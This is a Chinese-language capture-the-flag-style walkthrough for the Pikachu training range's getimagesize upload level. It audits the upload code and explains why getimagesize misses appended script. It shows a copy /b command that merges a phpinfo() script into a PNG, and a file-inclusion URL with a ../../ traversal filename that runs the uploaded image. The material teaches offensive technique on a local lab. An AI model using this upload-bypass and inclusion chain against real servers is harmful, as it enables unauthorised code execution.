目录
一、图片马
二、图片马与文件包含
三、源码分析
1、文件上传
2、文件包含
四、制作图片马
1、创建脚本test.php
2、使用copy命令生成图片马
五、渗透实战
1、上传脚本
2、获取脚本地址
3、访问脚本
本系列为《pikachu靶场通关笔记》渗透实战,本文通过对文件上传关卡(unsafe upfileupload)之图片马getimagesize源码的代码审计找到产生缺陷的真实原因,讲解图片马getimagesize关卡客户端check的原理并进行渗透实践。
一、图片马
“图片马” 是一种结合了图片与恶意代码的攻击手段,常被用于突破文件上传限制进行攻击。
项目 | 详情 |
---|---|
定义 | 将恶意代码嵌入到图片文件中的特殊攻击载体。 |
原理 | 通过图片马和文件包含结合,使服务器执行图片中隐藏的恶意代码。 |
制作方式 | 通过特定工具或方法,以不影响图片正常显示的方式将恶意脚本代码嵌入图片文件。 |
危害 | 可获取服务器敏感信息、创建后门程序、控制服务器,导致数据泄露、系统被篡改等。 |
防范措施 | 严格验证上传文件的类型、大小和内容,对文件进行安全检测等。 |
二、图片马与文件包含
图片马(Picture Shell)是一种结合了图片文件和恶意代码的攻击手段,通常用于绕过文件上传限制。当与文件包含结合时,攻击者可以通过上传图片马并利用文件包含缺陷来执行恶意代码。
- 制作图片马:攻击者使用专门的工具或命令,将恶意的 WebShell 代码嵌入到一张正常的图片中,生成图片马。
- 上传图片马:利用网站存在的文件上传校验缺陷,将图片马上传到服务器。由于图片马伪装成正常图片,可能会绕过一些简单的文件类型验证。
- 利用文件包含执行图片马:攻击者通过构造包含图片马的请求,利用文件包含让Web服务器将图片马作为脚本文件包含并执行。例如,通过修改文件包含URL中的参数,指定包含图片马的路径和文件名。如果服务器成功执行了图片马中的恶意代码,攻击者就可以获得服务器的控制权,进而进行一系列的恶意操作,如窃取敏感信息、篡改网站内容、植入后门等。
三、源码分析
1、文件上传
打开pikachu靶场文件上传03之图片马getimagesize关卡,完整URL地址如下所示。
http://127.0.0.1/pikachu/vul/unsafeupload/getimagesize.php
在pikachu靶场的源码中查看getimagesize.php文件,分析可知通过upload函数进行检查是否合法文件,如下所示。
其中upload函数通过MIME字段以及getimagesize等信息来判断是否为图片类型,相对于上两个关卡校验信息更加完整,经过注释后的源码如下所示。
// 定义 upload 函数,用于处理文件上传,进行严格的验证
// $key:表示 $_FILES 数组中的键名,用于获取上传文件的相关信息
// $size:允许上传文件的最大大小(字节)
// $type:允许上传文件的后缀名数组
// $mime:允许上传文件的 MIME 类型数组
// $save_path:上传文件保存的目标路径
function upload($key, $size, $type = array(), $mime = array(), $save_path) {// 定义错误信息数组,用于存储不同上传错误码对应的错误提示$arr_errors = array(1 => '上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',2 => '上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',3 => '文件只有部分被上传',4 => '没有文件被上传',6 => '找不到临时文件夹',7 => '文件写入失败');// 检查 $_FILES 数组中是否存在指定键名的元素及其错误信息// 如果不存在,说明用户没有选择上传文件if (!isset($_FILES[$key]['error'])) {$return_data['error'] = '请选择上传文件!';$return_data['return'] = false;return $return_data;}// 检查上传文件的错误码是否不为 0// 若不为 0,说明上传过程中出现了错误,根据错误码获取相应提示if ($_FILES[$key]['error'] != 0) {$return_data['error'] = $arr_errors[$_FILES[$key]['error']];$return_data['return'] = false;return $return_data;}// 验证文件是否是通过 HTTP POST 方式上传的// 若不是,说明上传方式不合法if (!is_uploaded_file($_FILES[$key]['tmp_name'])) {$return_data['error'] = '您上传的文件不是通过 HTTP POST方式上传的!';$return_data['return'] = false;return $return_data;}// 使用 pathinfo 函数获取上传文件的文件名信息// 如果文件没有后缀名,将后缀名变量设置为空$arr_filename = pathinfo($_FILES[$key]['name']);if (!isset($arr_filename['extension'])) {$arr_filename['extension'] = '';}// 验证文件后缀名// 将后缀名转换为小写后,检查是否在允许的后缀名数组中if (!in_array(strtolower($arr_filename['extension']), $type)) {$return_data['error'] = '上传文件的后缀名不能为空,且必须是'. implode(',', $type). '中的一个';$return_data['return'] = false;return $return_data;}// 验证文件的 MIME 类型// 检查上传文件的 MIME 类型是否在允许的 MIME 类型数组中if (!in_array($_FILES[$key]['type'], $mime)) {$return_data['error'] = '你上传的是个假图片,不要欺骗我xxx!';$return_data['return'] = false;return $return_data;}// 通过 getimagesize 函数读取图片的属性// 以此判断上传的文件是否为真实的图片if (!getimagesize($_FILES[$key]['tmp_name'])) {$return_data['error'] = '你上传的是个假图片,不要欺骗我!';$return_data['return'] = false;return $return_data;}// 验证文件大小// 检查上传文件的大小是否超过了允许的最大大小if ($_FILES[$key]['size'] > $size) {$return_data['error'] = '上传文件的大小不能超过'.$size. 'byte(500kb)';$return_data['return'] = false;return $return_data;}// 检查保存文件的目标路径是否存在// 如果不存在,尝试创建该目录,权限设置为 0777if (!file_exists($save_path)) {if (!mkdir($save_path, 0777, true)) {$return_data['error'] = '上传文件保存目录创建失败,请检查权限!';$return_data['return'] = false;return $return_data;}}// 生成一个新的文件名// 使用 uniqid 函数结合随机数生成唯一文件名,并去掉其中的点$new_filename = str_replace('.', '', uniqid(mt_rand(100000, 999999), true));// 如果文件有后缀名,将后缀名转换为小写并添加到新文件名后面if ($arr_filename['extension'] != '') {$arr_filename['extension'] = strtolower($arr_filename['extension']);$new_filename.= ".{$arr_filename['extension']}";}// 确保保存路径以斜杠结尾$save_path = rtrim($save_path, '/'). '/';// 将临时目录中的上传文件移动到指定的保存路径,并使用新文件名if (!move_uploaded_file($_FILES[$key]['tmp_name'], $save_path.$new_filename)) {$return_data['error'] = '临时文件移动失败,请检查权限!';$return_data['return'] = false;return $return_data;}// 如果以上所有验证和操作都通过,返回上传成功的信息// 包含保存路径、新文件名和上传结果标识$return_data['save_path'] = $save_path.$new_filename;$return_data['filename'] = $new_filename;$return_data['return'] = true;return $return_data;
}
该upload函数用于处理文件上传操作,在上传过程中对文件进行了如下多方面严格验证。
- 上传基本检查:检查是否选择了文件、上传过程中是否有错误以及上传方式是否合法。
- 文件类型验证:验证文件后缀名和 MIME 类型,确保其在允许的范围内。
- 图片真实性验证:使用
getimagesize
函数判断文件是否为真实的图片。getimagesize
有局限性:getimagesize
函数只是检查文件是否符合图片的基本格式特征,但无法检测文件中是否隐藏了恶意代码。攻击者可以通过制作图片马将恶意代码嵌入到正常图片文件的末尾,这样getimagesize
仍会认为它是一个正常的图片。 - 文件大小验证:检查文件大小是否超过了设定的最大值。
- 文件保存:若验证通过,将文件保存到指定路径,并为其生成新的文件名。
2、文件包含
pikachu靶场的文件包含URL地址如下所示,参数为filename。
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php
在pikachu靶场源码中查看fi_local.php文件,分析可知其通过参数filename进行传参,如下所示。
四、制作图片马
1、创建脚本
创建获取服务器php信息的脚本test.php,具体内容如下所示。
<?php
phpinfo();
?>
2、使用copy命令生成图片马
在导航搜索栏输入cmd,然后回车,如下所示。
图片马制作方法:假设我们有mooyuan.jpg 和test.php文件,如下所示。
打开cmd窗口,进入到mooyuan.png和test.php所在目录,输入如下命令。
copy mooyuan.png /b + test.php /a test.png
其中/b 表示一个二进制文件,+ 表示将多个文件合并成一个文件,/a 表示一个ASCII文本文件,如下所示生成了图片马test.png。
使用16进制工具查看test.png文件,可以看到图片的尾部已经插入脚本,如下所示。
五、渗透实战
1、上传脚本
选择制作好的图片马test.png点击上传,如下所示上传成功并且图片被重命名。
2、获取脚本地址
根据图片马的上传地址uploads/2024/10/17/45001567107604bd4ee110816937.png和文件包含的URL地址构造脚本的地址,如下所示。
图片马马的路径为:
uploads/2024/10/17/45001567107604bd4ee110816937.png
文件上传关卡URL为:
http://127.0.0.1/pikachu/vul/unsafeupload/getimagesize.php
文件上传关卡的目录为:
http://127.0.0.1/pikachu/vul/unsafeupload/
故而图片木马的URL路径为
http://127.0.0.1/pikachu/vul/unsafeupload/uploads/2024/10/17/45001567107604bd4ee110816937.png
文件包含关卡的URL路径为
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4
图片马相对于fi_local.php路径为
../../unsafeupload/uploads/2024/10/17/45001567107604bd4ee110816937.png
构造文件包含访问图片马路径,将filename参数进行修改
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2024/10/17/45001567107604bd4ee110816937.png&submit=%E6%8F%90%E4%BA%A4
3、访问脚本
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2024/10/17/45001567107604bd4ee110816937.png&submit=%E6%8F%90%E4%BA%A4
鼠标滚轮向下滑动,如下所示,出现执行phpinfo的效果。